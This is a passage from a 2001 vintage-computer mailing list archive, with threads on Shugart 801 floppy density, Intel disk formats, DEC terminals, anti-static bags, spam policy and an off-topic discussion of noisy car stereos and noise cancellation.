double-densisty recording. It doesn't mean that > they can't also be used for single density. Unless the label written by > whoever formated and used the disks says 'double density' I wouldn't > assume that they were. > > > Both machines have Shugart 801 drives in them, and after doing some web > > research, I've come to find out they are single-density only. This would > > This is news to me (and to all the machines I have with 801 drives that > quite happily do double density recording). These drives do have an > internal clock/data separator which is single density only, but most > people didn't use that (the raw data is available on the interface > connector as usual). And then you can most certainly use these drives for > MFM or M2FM (or whatever) recording. > > > probably explain why I am not able to access these disks on these > > machines. > > > > The disks I am trying to access are supposedly CP/M, but the labelling > > indicates they were perhaps used on an Intel development system (they have > > filenames on the label with ".HEX" file types; this may not mean > > .HEX probably means an Intel Hex format file. Used on Intel development > systems, CP/M machines, many EPROM/microcontroller programmers, and a lot > of other places. > > -tony > > From edick at idcomm.com Thu Jun 21 16:09:23 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) References: Message-ID: <003901c0fa96$72848620$9cc762d8@idcomm.com> If you were to shoot one of these morons, it's unlikely you'd get away with it. You'd probably be fined for discharging a firearm into a public nuissance. Dick ----- Original Message ----- From: "brian roth" To: Sent: Thursday, June 21, 2001 2:52 PM Subject: Boom cars (ot for sure...) > I know its off topic but I know there are a lot > of electronics guru's on the list. I'm looking for > a noise generator to mount in my car to defeat > the "Boom cars" in my neighborhood. The local > thieves(politicians) won't do a thing about it so its > time for war. These thumping car stereo's are not > there for musical enjoyment. They are there to > disturb and upset people period. > > Please contact me off list if you have any > creative idea's on this. > > Brian. > > > Brian Roth > Network Services > First Niagara Bank > (716) 625-7500 X2186 > Brian.Roth@FirstNiagaraBank.com > > From mac at Wireless.Com Thu Jun 21 16:27:14 2001 From: mac at Wireless.Com (Mike Cheponis) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: <001d01c0fa93$6f98df40$9cc762d8@idcomm.com> Message-ID: Actually, the core of the internet is quite under-utilized. The problem is that fighting fire with fire isn't the right approach. IF we all had, for example, authentication tokens that were cryptographically secure and were required for signing any piece of outgoing email, then this problem would disappear overnight (that is, legit email will be signed and verifiable as to the sender, and everything else would be considered spam. I consider lack of authentication as the biggest oversight in the original design of the Internet.) -Mike On Thu, 21 Jun 2001, Richard Erlacher wrote: > Date: Thu, 21 Jun 2001 14:47:48 -0600 > From: Richard Erlacher > Reply-To: classiccmp@classiccmp.org > To: classiccmp@classiccmp.org > Subject: Re: Wave of the Future (Spam) > > If one simply sends 10^512 LONG daily emails to the source, it will bring the > server to its knees. However, since we're trying to preserve bandwidth for the > rest of us ... > > Dick From spectre at stockholm.ptloma.edu Thu Jun 21 16:20:18 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:40 2005 Subject: SDK for Windows 1.04?? In-Reply-To: <3B324C3600001BB3@mail.san.yahoo.com> "(added" by "postmaster@mail.san.yahoo.com)" from George Currie at "Jun 21, 1 03:26:24 pm" Message-ID: <200106212120.OAA32486@stockholm.ptloma.edu> > This is one way that M$ creates 'value added' to their software by utilizing > these undocumented calls. And yet another example of why Microsoft's leverage of their OS dominance is hardly a benign monopoly. >:-/ -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Kiss me twice -- I'm schizophrenic. ---------------------------------------- From ard at p850ug1.demon.co.uk Thu Jun 21 15:37:27 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: from "Mike Ford" at Jun 21, 1 11:59:37 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 132 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010621/16ed3125/attachment.ksh From dhquebbeman at theestopinalgroup.com Thu Jun 21 16:13:25 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:40 2005 Subject: SDK for Windows 1.04?? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511E2@jeffserver.tegjeff.com> > Hello, all: > > I was paging through some Sourcer listings that I have of the > Windows 1.04 code and noticed that most of the functions in the DOS Shell > code (MSDOS.exe and MSDOSD.exe) are referenced by ordinal number and not > function name ("MSDOS_23" versus "DoSomeThing"). So, I was wondering if > anyone had a copy or knows the existence of SDK documentation for Windows 1. I think the Windows 1 SDK was bundled with some versions of the Microsoft C Compiler v 4.0.... or I guess, it would have been the compiler bundled with the SDK. In the late 80s, lots of people were buying the SDKs and then stripping out the compiler packages and selling them. I bought MS C 5.0 that way from someone who'd bought a Microsoft OS/2 SDK. I was able to send a copy of a letter from the seller to Microsoft, who registered me as a valid licensee! However, they stopped that practice shortly there- after. Regards, -dq From jim at calico.litterbox.com Thu Jun 21 16:36:00 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <003901c0fa96$72848620$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 21, 2001 03:09:23 PM Message-ID: <200106212136.PAA24188@calico.litterbox.com> Perhaps a trip to soundtrack for a sufficient stereo of your own, some protective earphones, and a good cd of the 1812 overature? > > If you were to shoot one of these morons, it's unlikely you'd get away with it. > You'd probably be fined for discharging a firearm into a public nuissance. > > Dick > > ----- Original Message ----- > From: "brian roth" > To: > Sent: Thursday, June 21, 2001 2:52 PM > Subject: Boom cars (ot for sure...) > > > > I know its off topic but I know there are a lot > > of electronics guru's on the list. I'm looking for > > a noise generator to mount in my car to defeat > > the "Boom cars" in my neighborhood. The local > > thieves(politicians) won't do a thing about it so its > > time for war. These thumping car stereo's are not > > there for musical enjoyment. They are there to > > disturb and upset people period. > > > > Please contact me off list if you have any > > creative idea's on this. > > > > Brian. > > > > > > Brian Roth > > Network Services > > First Niagara Bank > > (716) 625-7500 X2186 > > Brian.Roth@FirstNiagaraBank.com > > > > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jss at ou.edu Thu Jun 21 16:56:42 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212136.PAA24188@calico.litterbox.com> References: <200106212136.PAA24188@calico.litterbox.com> Message-ID: <993160602.3b326d9ab2fab@email.ou.edu> Quoting Jim Strickland : > Perhaps a trip to soundtrack for a sufficient stereo of your own, > some protective earphones, and a good cd of the 1812 overature? And a functional carillon and cannons mounted on your vehicle for extra effect. -- Jeffrey S. Sharp jss@ou.edu From bdc at world.std.com Thu Jun 21 16:57:37 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212136.PAA24188@calico.litterbox.com> Message-ID: On Thu, 21 Jun 2001, Jim Strickland wrote: > Perhaps a trip to soundtrack for a sufficient stereo of your own, > some protective earphones, and a good cd of the 1812 overature? What piece did they use in _Apocalypse Now_ when the air cavalry took the beach? I remember seeing a news spot a few years ago about some company designing ear protection devices which used destructive interference to cancel out loud noises. Although it would be near impossibly complex problem to solve. It'd be pretty damn cool if you could build a device which would use destructive interference to completely negate the sound output from a nearby automobile stereo system. It would of course be controlled using a 6502 based 8-bit micro to be on topic for the list. -brian. From spectre at stockholm.ptloma.edu Thu Jun 21 17:06:00 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212136.PAA24188@calico.litterbox.com> from Jim Strickland at "Jun 21, 1 03:36:00 pm" Message-ID: <200106212206.PAA10146@stockholm.ptloma.edu> > Perhaps a trip to soundtrack for a sufficient stereo of your own, > some protective earphones, and a good cd of the 1812 overature? A friend of mine was telling me this story where he was on a street corner and some jerk was blasting out the neighbourhood with This Year's Annoyingly Foul Rap Artist. Up behind him comes this Corvette and the Corvette's driver sticks his head out and asks the miscreant to please turn it down, to which the driver's response was a single finger salute and more volume. So the Corvette driver, without a word, turns on his stereo and proceeds to drown the entire intersection in Vivaldi. The expression "some of his own medicine" comes to mind. By the way, I never noticed the snippet of the 1812 Overture before in Rush's "2112 Overture". Shows how ignorant you can be about music. :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Make welfare as hard to get as building permits. --------------------------- From jim at calico.litterbox.com Thu Jun 21 17:06:38 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <993160602.3b326d9ab2fab@email.ou.edu> from "Jeffrey S. Sharp" at Jun 21, 2001 04:56:42 PM Message-ID: <200106212206.QAA24303@calico.litterbox.com> Or call the police and give 'em plate numbers and press charges for disturbing the peace. > > Quoting Jim Strickland : > > Perhaps a trip to soundtrack for a sufficient stereo of your own, > > some protective earphones, and a good cd of the 1812 overature? > > And a functional carillon and cannons mounted on your vehicle for > extra effect. > > -- > Jeffrey S. Sharp > jss@ou.edu > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From uban at ubanproductions.com Thu Jun 21 17:05:50 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:40 2005 Subject: VT1000 info? In-Reply-To: References: Message-ID: <3.0.5.32.20010621170550.0091a100@ubanproductions.com> Does anyone know the correlation between the ROM version and the "model numbering" of the DEC VT1000 machines? My understanding is that the VT1000 is the same machine as a VT1200 and VT1300, with different ROM versions. In particular what does ROM version 2.0 make? --tnx --tom From jim at calico.litterbox.com Thu Jun 21 17:16:44 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212206.PAA10146@stockholm.ptloma.edu> from "Cameron Kaiser" at Jun 21, 2001 03:06:00 PM Message-ID: <200106212216.QAA24368@calico.litterbox.com> There is of course that approach. I've always been amazed how many people WILL turn it down if asked politely. -Jim > A friend of mine was telling me this story where he was on a street corner > and some jerk was blasting out the neighbourhood with This Year's Annoyingly > Foul Rap Artist. Up behind him comes this Corvette and the Corvette's driver > sticks his head out and asks the miscreant to please turn it down, to which > the driver's response was a single finger salute and more volume. So the > Corvette driver, without a word, turns on his stereo and proceeds to drown > the entire intersection in Vivaldi. > > The expression "some of his own medicine" comes to mind. ps: wasn't this a car stereo commercial at one point? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From rhblake at bigfoot.com Thu Jun 21 16:57:42 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:40 2005 Subject: Source for anti-static bags? In-Reply-To: Message-ID: I usually use aluminum foil unless I'm keeping it - works just as well and easier to locate. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford Sent: Thursday, June 21, 2001 1:54 PM To: classiccmp@classiccmp.org Subject: Re: Source for anti-static bags? >So... where do I get anti-static bags that for hex-height Unibus and >other big boards? Most real electronics supplies have them, for around $30/100 or so. How many do you need of what size in the inches and I will look in my stash and give you a quote. From pcw at mesanet.com Thu Jun 21 17:34:14 2001 From: pcw at mesanet.com (Peter C. Wallace) Date: Sun Feb 27 19:04:40 2005 Subject: VT1000 info? In-Reply-To: <3.0.5.32.20010621170550.0091a100@ubanproductions.com> Message-ID: On Thu, 21 Jun 2001, Tom Uban wrote: > Does anyone know the correlation between the ROM version and the "model > numbering" of the DEC VT1000 machines? My understanding is that the > VT1000 is the same machine as a VT1200 and VT1300, with different ROM > versions. > > In particular what does ROM version 2.0 make? > > --tnx > --tom > > Dont know about VT1000, but VT1200 and VT1300 are completely different beasts, VT1200 a ROM based Mono Xterminal using the TI 34081? processor. It has a really old version of X, maybe 11.3 in its ROMs. The VT1300 is just a VS3100/30 with no disk controller or drive plate and loads its XServer from the net (same server as VXT2000 I believe) Peter Wallace From spectre at stockholm.ptloma.edu Thu Jun 21 17:38:01 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <200106212216.QAA24368@calico.litterbox.com> from Jim Strickland at "Jun 21, 1 04:16:44 pm" Message-ID: <200106212238.PAA32464@stockholm.ptloma.edu> > > A friend of mine was telling me this story where he was on a street corner > > and some jerk was blasting out the neighbourhood with This Year's Annoyingly > > Foul Rap Artist. Up behind him comes this Corvette and the Corvette's driver > > sticks his head out and asks the miscreant to please turn it down, to which > > the driver's response was a single finger salute and more volume. So the > > Corvette driver, without a word, turns on his stereo and proceeds to drown > > the entire intersection in Vivaldi. > > > > The expression "some of his own medicine" comes to mind. > > ps: wasn't this a car stereo commercial at one point? I'm sure the situation has also been contrived before, but he swears it's true :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- What use is magic if it can't save a unicorn? -- Beagle, "The Last Unicorn" From rhudson at cnonline.net Thu Jun 21 17:36:14 2001 From: rhudson at cnonline.net (rhudson@cnonline.net) Date: Sun Feb 27 19:04:40 2005 Subject: What's best to do?? classically speaking Message-ID: <200106212236.SAA25166@cnonline.net> I have a Compaq Portable 386... Classically speaking... what is best to do in the cases below? 1)I am running dos 6.12, but I am thinking about re-installing with DOS 4 or DOS 5. Or more generally is it better to use a circa operating system or a modern operating system (Assuming the machine will run both) ? 2) The machine came with a 5 1/4" diskette drive, I am considering replacing that with a 3 and a whatever" drive, or once again more generally when one has an older machine is it good to upgrade the hardware to make it more usefull. I suppose on my single machine no one cares really, the "historical Police" will not appear at my doorstep. Let us extend the argument, Given a running PDP/11, what of the person who installs a current day 60GB disk drive and DVD CD ROM? Curious in San Jose. BTW I have two of these portables and recently offered one in trade for a part, I am also willing to sell for cheap. _______________________________________________________ From rigdonj at intellistar.net Thu Jun 21 18:10:32 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:41 2005 Subject: Source for anti-static bags? In-Reply-To: <993147536.3b323a904fb67@email.ou.edu> Message-ID: <5.1.0.14.1.20010621190928.00a1d930@mailhost.intellistar.net> A friend of mine told me that he buys bags from somewhere on the net. I think the name of the place was "bags by the millions" or some such. Joe At 01:18 PM 6/21/01 -0500, you wrote: >So... where do I get anti-static bags that for hex-height Unibus and >other big boards? > >-- >Jeffrey S. Sharp >jss@ou.edu From rigdonj at intellistar.net Thu Jun 21 18:19:15 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: References: <200106212136.PAA24188@calico.litterbox.com> Message-ID: <5.1.0.14.1.20010621191659.00a29570@mailhost.intellistar.net> At 04:57 PM 6/21/01 -0500, you wrote: >On Thu, 21 Jun 2001, Jim Strickland wrote: > > > Perhaps a trip to soundtrack for a sufficient stereo of your own, > > some protective earphones, and a good cd of the 1812 overature? > >What piece did they use in _Apocalypse Now_ when the air cavalry took >the beach? > >I remember seeing a news spot a few years ago about some company designing >ear protection devices which used destructive interference to cancel out >loud noises. > >Although it would be near impossibly complex problem to solve. It'd be >pretty damn cool if you could build a device which would use destructive >interference to completely negate the sound output from a nearby >automobile stereo system. It might be difficult but it's not impossible. They're using systems like that on US Army tanks right now. Emerson Electric in Longwood (Orlando area) is one of the companies that's supposed to be making the systems. Joe >It would of course be controlled using a 6502 based 8-bit micro to be on >topic for the list. > >-brian. From rigdonj at intellistar.net Thu Jun 21 18:31:27 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking In-Reply-To: <200106212236.SAA25166@cnonline.net> Message-ID: <5.1.0.14.1.20010621192235.00a161d0@mailhost.intellistar.net> At 06:36 PM 6/21/01 -0400, you wrote: >I have a Compaq Portable 386... I have a couple of those and about 4 Compaq Portable IIIs.. Damm fine little machine IMHO, especially if you have the pod on the back. >Classically speaking... what is best to do in the cases below? > >1)I am running dos 6.12, but I am thinking about re-installing with >DOS 4 or DOS 5. FWIW They originally came with Compaq DOS 3.3. I'm running that and DR DOS something on mine. >Or more generally is it better to use a circa operating system or a modern >operating system (Assuming the machine will run both) ? They'll run at least MS-DOS 5. I don't know if I've tried anything higher than that. >2) The machine came with a 5 1/4" diskette drive, I am considering >replacing that with a 3 and a whatever" drive, or once again more >generally when one has an older machine is it good to upgrade the hardware >to make it more usefull. Careful! Those are 1/3 height drives. It might not be as easy to install a 3 1/2" drive as you think. Personally, I'd leave the floppy drive alone. It's more trouble than it's worth to replace it and you're not going to gain much in capacity by going from 1.2 Mb to 1.44 Mb. One of the nice things about the P IIIs is that they have a very extensive drive table in the BIOS so you can install a LOT bigger hard drive. >I suppose on my single machine no one cares really, the "historical >Police" will not appear at my doorstep. > >Let us extend the argument, Given a running PDP/11, what of the person who >installs a current day 60GB disk drive and DVD CD ROM? > >Curious in San Jose. > > >BTW I have two of these portables and recently offered one in trade for a >part, I am also willing to sell for cheap. FWIW they used to show up regularly on E-bay and they didn't bring much. Joe >_______________________________________________________ From blstuart at bellsouth.net Thu Jun 21 18:42:48 2001 From: blstuart at bellsouth.net (blstuart@bellsouth.net) Date: Sun Feb 27 19:04:41 2005 Subject: UUCP and Netnews In-Reply-To: Your message of Thu, 21 Jun 2001 09:50:26 -0700 . Message-ID: In message , Mike Ford writes: >Anybody actually try a link using Dixie cups and string (or thread) via >acoustic couplers etc.? I haven't done it myself, but I've seen it done. I don't know exactly what modem-type devices he was using, but a guy I knew in college did it to demonstrate the robustness of some protocol work he did in grad school. BLS From edick at idcomm.com Thu Jun 21 18:47:34 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:41 2005 Subject: OT: replacment tray for HP DJ1200C printer References: <200106212136.PAA24188@calico.litterbox.com> <5.1.0.14.1.20010621191659.00a29570@mailhost.intellistar.net> Message-ID: <001d01c0faac$8b921720$9cc762d8@idcomm.com> Has anyone got a reliable recommendation on where one might obtain a replacment paper tray for the HP DeskJet 11200C printer. I'd like to know whether that tray is interchangeable with any other printer or plotter models, in the event anyone knows that. thanks, Dick From chris at mainecoon.com Thu Jun 21 18:52:35 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <5.1.0.14.1.20010621191659.00a29570@mailhost.intellistar.net> Message-ID: Joe wrote: > It might be difficult but it's not impossible. They're using systems > like that on US Army tanks right now. [snip] Not to mention the active nose cancellation headsets that I and most of my friends were while flying. They're designed only to deal with low frequency noise; when you turn them on it's like someone stuffed high-pass cotton into your ears. Voices sound perfectly normal but the drone of the engine sounds like it's in the next county. The big problem is power density -- these things only have to provide cancellation in the confines of a headset ear cup. Cancellation in the large would obviously require much higher power levels. I remember when I first heard about something like this, back in the mid-to-late 70's. Some grad student at MIT was working on something he called "the noise sucker", but I don't recall the details. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From pdp11 at bellsouth.net Thu Jun 21 19:05:25 2001 From: pdp11 at bellsouth.net (Doug Carman) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking References: <200106212236.SAA25166@cnonline.net> Message-ID: <3B328BC5.23B81151@bellsouth.net> rhudson@cnonline.net wrote: > > I have a Compaq Portable 386... > > Classically speaking... what is best to do in the cases below? > > Let us extend the argument, Given a running PDP/11, what of the person who installs a current day 60GB disk drive and DVD CD ROM? > I am not quite sure what the question is here. Someone can correct me if I am wrong, but I believe the largest single disk drive DEC ever sold that can be attached to a PDP11 (UNIBUS or QBUS) was the RA73 SDI disk at 2GB. Although SCSI interfaces were available from 3rd party vendors that can support larger drives, I don't think 60GB would be very appropriate for a PDP11. A DVD-ROM drive? Now that would be interesting if it was even possible. Maybe I can convert all my 9-track media for the 11/70 to a single DVD :) On a more serious side: I run RA72, RL02 disks, and a TU81+ tape unit on my 11/70, which are much newer than the machine itself. Although these devices are original DEC storage devices and are supported by later OS's, vintage OS versions were written for the storage devices of their time. Having these more "modern" storage devices, I find it difficult to run older OS versions that pre-date them. For instance, 6th edition AT&T UNIX supports disks such as the RK05 and RP04, but not the newer MSCP disks like the RA72. Running newer storage devices with vintage CPU's has its advantages in size, cost, serviceability, and availability, but can be a problem with OS versions that were not designed to support them. -- Doug Carman pdp11@bellsouth.net From mcguire at neurotica.com Thu Jun 21 19:15:30 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:41 2005 Subject: OT: replacment tray for HP DJ1200C printer In-Reply-To: OT: replacment tray for HP DJ1200C printer (Richard Erlacher) References: <200106212136.PAA24188@calico.litterbox.com> <5.1.0.14.1.20010621191659.00a29570@mailhost.intellistar.net> <001d01c0faac$8b921720$9cc762d8@idcomm.com> Message-ID: <15154.36386.845863.444401@phaduka.neurotica.com> On June 21, Richard Erlacher wrote: > Has anyone got a reliable recommendation on where one might obtain a replacment > paper tray for the HP DeskJet 11200C printer. I'd like to know whether that > tray is interchangeable with any other printer or plotter models, in the event > anyone knows that. I have a need for the same thing, Dick...if you manage to find one, please let me know. Thanks, -Dave McGuire From donm at cts.com Thu Jun 21 19:19:00 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) In-Reply-To: Message-ID: On Thu, 21 Jun 2001, Brian Chase wrote: > On Thu, 21 Jun 2001, Jim Strickland wrote: > > > Perhaps a trip to soundtrack for a sufficient stereo of your own, > > some protective earphones, and a good cd of the 1812 overature? > > What piece did they use in _Apocalypse Now_ when the air cavalry took > the beach? > > I remember seeing a news spot a few years ago about some company designing > ear protection devices which used destructive interference to cancel out > loud noises. > > Although it would be near impossibly complex problem to solve. It'd be > pretty damn cool if you could build a device which would use destructive > interference to completely negate the sound output from a nearby > automobile stereo system. Lotus Cars (UK), back when Colin Chapman was alive, developed and installed in one of there closed GT cars such a system to bring cockpit noise down to a conversational level. Don't know how successful it was, but do remember the writeup. - don > It would of course be controlled using a 6502 based 8-bit micro to be on > topic for the list. > > -brian. > > From ard at p850ug1.demon.co.uk Thu Jun 21 19:15:24 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:41 2005 Subject: What's best to do?? classically speaking In-Reply-To: <200106212236.SAA25166@cnonline.net> from "rhudson@cnonline.net" at Jun 21, 1 06:36:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1734 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010622/68931e02/attachment.ksh From dittman at dittman.net Thu Jun 21 19:45:24 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:41 2005 Subject: SGI Indy Message-ID: <200106220045.f5M0jOj09615@narnia.int.dittman.net> A local (to D/FW) used place has some SGI Indy systems (with monitor, keyboard, and mouse) for sale. Is there any interest in these? They're asking $150 each. I don't know if that's a good deal or not, and I don't know if they'll ship, but if you're interested let me know and I'll email you the phone number. I'm not going to buy these and try to auction them. I don't know what they are worth, I don't collect them, and I don't want to buy them and try to ship them. I'll let you deal with them yourself. If they won't ship, but you REALLY need one, I may be convinced to help you. The box itself wouldn't be hard to ship, but I hate shipping large monitors. -- Eric Dittman dittman@dittman.net From west at tseinc.com Fri Jun 22 07:46:59 2001 From: west at tseinc.com (Jay West) Date: Sun Feb 27 19:04:41 2005 Subject: replacment tray for HP DJ1200C printer References: <200106212136.PAA24188@calico.litterbox.com> <5.1.0.14.1.20010621191659.00a29570@mailhost.intellistar.net> <001d01c0faac$8b921720$9cc762d8@idcomm.com> Message-ID: <01c901c0fb19$6dc42860$898953d1@jay> HP Parts Direct There should be a number on their website, plus a section of their website for it. HP Parts Direct is a subdivision of HP that sells directly to end users for spare parts, upgrades, etc. Jay West ----- Original Message ----- From: Richard Erlacher To: Sent: Thursday, June 21, 2001 6:47 PM Subject: OT: replacment tray for HP DJ1200C printer > Has anyone got a reliable recommendation on where one might obtain a replacment > paper tray for the HP DeskJet 11200C printer. I'd like to know whether that > tray is interchangeable with any other printer or plotter models, in the event > anyone knows that. > > thanks, > > Dick > > > From west at tseinc.com Fri Jun 22 07:48:31 2001 From: west at tseinc.com (Jay West) Date: Sun Feb 27 19:04:41 2005 Subject: Source for anti-static bags? References: <5.1.0.14.1.20010621190928.00a1d930@mailhost.intellistar.net> Message-ID: <01db01c0fb19$a50fbc80$898953d1@jay> If anyone does come up with a good source of the nice antistatic bags at a reasonable price, I'm sure I could help add significantly to the order. I'm getting tired of collecting all the padded boxes and static bags one by one from our cisco gear purchases :) Jay West ----- Original Message ----- From: joe To: Sent: Thursday, June 21, 2001 6:10 PM Subject: Re: Source for anti-static bags? > A friend of mine told me that he buys bags from somewhere on the net. I > think the name of the place was "bags by the millions" or some such. > > Joe > > At 01:18 PM 6/21/01 -0500, you wrote: > >So... where do I get anti-static bags that for hex-height Unibus and > >other big boards? > > > >-- > >Jeffrey S. Sharp > >jss@ou.edu > > From epgroot at ucdavis.edu Thu Jun 21 19:47:52 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:41 2005 Subject: Question about Intel disk formats In-Reply-To: <003301c0fa96$23076720$9cc762d8@idcomm.com> References: Message-ID: <3.0.5.32.20010621174752.007d6c30@yellow.ucdavis.edu> What I read on the Web was that the first Shugart 801's could not read/write DD, no matter what controller was attached to it. However, later-manufactured 801's could handle both SD and DD. Edwin At 03:07 PM 6/21/2001 -0600, you wrote: >Tony's right about the Shugart 801's. Drives don't determine the modulation >technique used to record the data. The "density" refers to the number of bits >per linear inch on the track. Since that's really not an adequate measure in >this context, its sensibly applied analog would be bits per revolution. The >head/media combination determines the number of flux changes per inch (fcpi) and >single-density uses two flux changes per bit, while double density uses only one >(not exactly, but close enough). If the drive can manage to swap the flux >direction quickly enough, which the '801 clearly can, then it's a double-density >capable drive, which it is. Confusion arises from the fact that, while the '801 >can read/write double density, its board-resident "data separator" can't. Also, >while the older '901 wasn't commonly used for double density, it could manage >MFM if one used 250ns of write precomp. The '801 required only 160-180 ns. > >Dick From dogbert at mindless.com Thu Jun 21 19:51:49 2001 From: dogbert at mindless.com (Ross Archer) Date: Sun Feb 27 19:04:41 2005 Subject: Wave of the Future (Spam) References: Message-ID: <3B3296A5.1EADF28C@mindless.com> Steve Robertson wrote: > > > >I agree with Tony here, in that there has to be a valid application for the > >features of email that so many SPAMmers have exploited. However, if you > >want to do away with bulk email, something's got to be done. This means > >somebody, somewhere, will lose. Perhaps, if unsolicited bulk mailings were > >just easier to recognize ... > I know I'm replying to the wrong message, but can't find the original. Fix Federal law, like they did to stop bulk FAXes. Being able to identify the spammer is indeed 90% of the battle. People tend to be far less obnoxious when you know where they live, even if only in cyberspace. Impose a stiff fine, with teeth, for any spam mailer found to be using a bogus return address, and a greatly enhanced fine for using a valid address that is not theirs, and allow the legitimate holder of the address the right to sue for damages if they get hate mail. Require that a human being, not an autoresponder, be reachable at the UCE mail's return address, and spot check to make sure they're reading and responding periodically. Bounced messages could be forwarded directly to some department of the FTC or Justice Department to track down the origin. It would be a huge job, but at least for US-based spammers, it might deter truly obnoxious behavior. (Most ISPs would (80?)86 a client with huge mailboxes overflowing with complaints.) To work, I guess it would have to be a net revenue generator. It probably wouldn't work but maybe it would silence or reform the worst offenders. Just some idle thoughts. I'm sure holes will be shot through starting immediately. :-) > > Since I can't keep SPAM out of my (snail) mailbox and I can't keep SPAM off > of my phone (unsolicited calls), I really don't have any expectations about > keeping it out of my email. > > With the costs being so low, I'm surprised we (Internet users) don't get a > whole lot more SPAM. > > SteveRob > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com From epgroot at ucdavis.edu Thu Jun 21 19:55:00 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:41 2005 Subject: Question about Intel disk formats In-Reply-To: Message-ID: <3.0.5.32.20010621175500.007b38b0@yellow.ucdavis.edu> If it is CP/M format, the first track should be SD, whether or not the disk is formatted DD. That's how it is in the CP/M systems I have. I figure you should at least be able to read the first track and hopefully there would be a signature of what machine it's from. What I would not know is what interleave factor to use for the sector ordering; it seems to vary from machine to machine. Start with the original IBM SSSD structure. Edwin At 08:31 PM 6/20/2001 -0700, you wrote: > > >The disks I am trying to access are supposedly CP/M, but the labelling >indicates they were perhaps used on an Intel development system (they have >filenames on the label with ".HEX" file types; this may not mean >anything). If this is the case, and they were formatted on an Intel MDS >(and therefore M2FM), and since they are double-density, then I may not be >able to read them with the machines I have. > >However, I want to check their format on some CP/M machine and see if >perhaps I can read them. If so, then they are probably more standard DD >formatted diskettes, maybe even CP/M since that is what I was told they >are. > >Suggestions appreciated. > >Sellam Ismail Vintage Computer Festival >--------------------------------------------------------------------------- --- >International Man of Intrigue and Danger http://www.vintage.org > > From fdebros at bellatlantic.net Thu Jun 21 20:16:16 2001 From: fdebros at bellatlantic.net (Fred deBros) Date: Sun Feb 27 19:04:41 2005 Subject: VT1000 info? References: Message-ID: <007301c0fab8$f05c4840$0100a8c0@jack> the vxt1300 serves 1000x800 svga easily. it drives a paperwhite console with the spx gpx framebuffer. > The VT1300 is just a VS3100/30 with no disk controller or drive > plate and loads its XServer from the net (same server as VXT2000 I > believe) > > > Peter Wallace > -------------- next part -------------- An HTML attachment was scrubbed... URL: 